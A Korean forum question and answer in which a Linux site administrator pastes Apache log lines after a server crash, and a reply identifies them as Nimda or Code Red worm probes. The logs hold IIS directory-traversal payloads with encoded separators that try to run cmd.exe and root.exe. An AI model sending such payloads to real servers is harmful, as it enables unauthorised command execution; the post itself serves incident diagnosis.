지난밤 새벽에 저희 홈페이지를 운영하는 서버가 새벽 3시경에 갑자기 다운되었읍니다. 하지만 같은 전원코드에 물려있던 다른 서버는 이상없이 운영중이었구요. 당시 마지막 아파치 로그 파일내용이 다음과 같은데 서버 다운이랑 관련이 있는건지 모르 겠습니다. OS는 리눅스, 제로보드를 사용하고 있습니다. 로그파일을 보니 비슷한 내용지 그시점에 자주 기록되어 있었습니다. ---- 내용 --------- 218.144.20.253 - - [01/Jun/2002:02:49:14 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282 218.144.20.253 - - [01/Jun/2002:02:49:14 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280 218.144.20.253 - - [01/Jun/2002:02:49:14 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290 218.144.20.253 - - [01/Jun/2002:02:49:15 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290 218.144.20.253 - - [01/Jun/2002:02:49:15 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 218.144.20.253 - - [01/Jun/2002:02:49:15 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+d ir HTT P/1.0" 404 321 218.144.20.253 - - [01/Jun/2002:02:49:15 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+d ir HTT P/1.0" 404 321 218.144.20.253 - - [01/Jun/2002:02:49:16 +0900] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c.. /winnt /system32/cmd.exe?/c+dir HTTP/1.0" 404 337 218.144.20.253 - - [01/Jun/2002:02:49:16 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303 218.144.20.253 - - [01/Jun/2002:02:49:16 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303 218.144.20.253 - - [01/Jun/2002:02:49:18 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303 218.144.20.253 - - [01/Jun/2002:02:49:19 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303 218.144.20.253 - - [01/Jun/2002:02:49:20 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 28 7 218.144.20.253 - - [01/Jun/2002:02:49:21 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 28 7 218.144.20.253 - - [01/Jun/2002:02:49:23 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 40 4 304 218.144.20.253 - - [01/Jun/2002:02:49:25 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 40 4 304 여기까지가 마지막 기록된 ERROR_LOG 내용입니다. access_log에도 같은 내용이 반복적으로 남아있더군요...혹시나 걱정되서 문의드립니다.
갑자기 서버가 다운되고 로그에 root.exe, cmd.exe 를 찾는 요청이 있었다면 Nimda 나 Code Red 같은 웜의 공격 기록입니다. 리눅스 서버가 직접 감염되지는 않지만 공격 시도가 많았다는 뜻입니다. 다운 원인은 시스템 로그와 커널 메시지를 확인하고, 전원 공급과 하드웨어를 함께 점검하세요.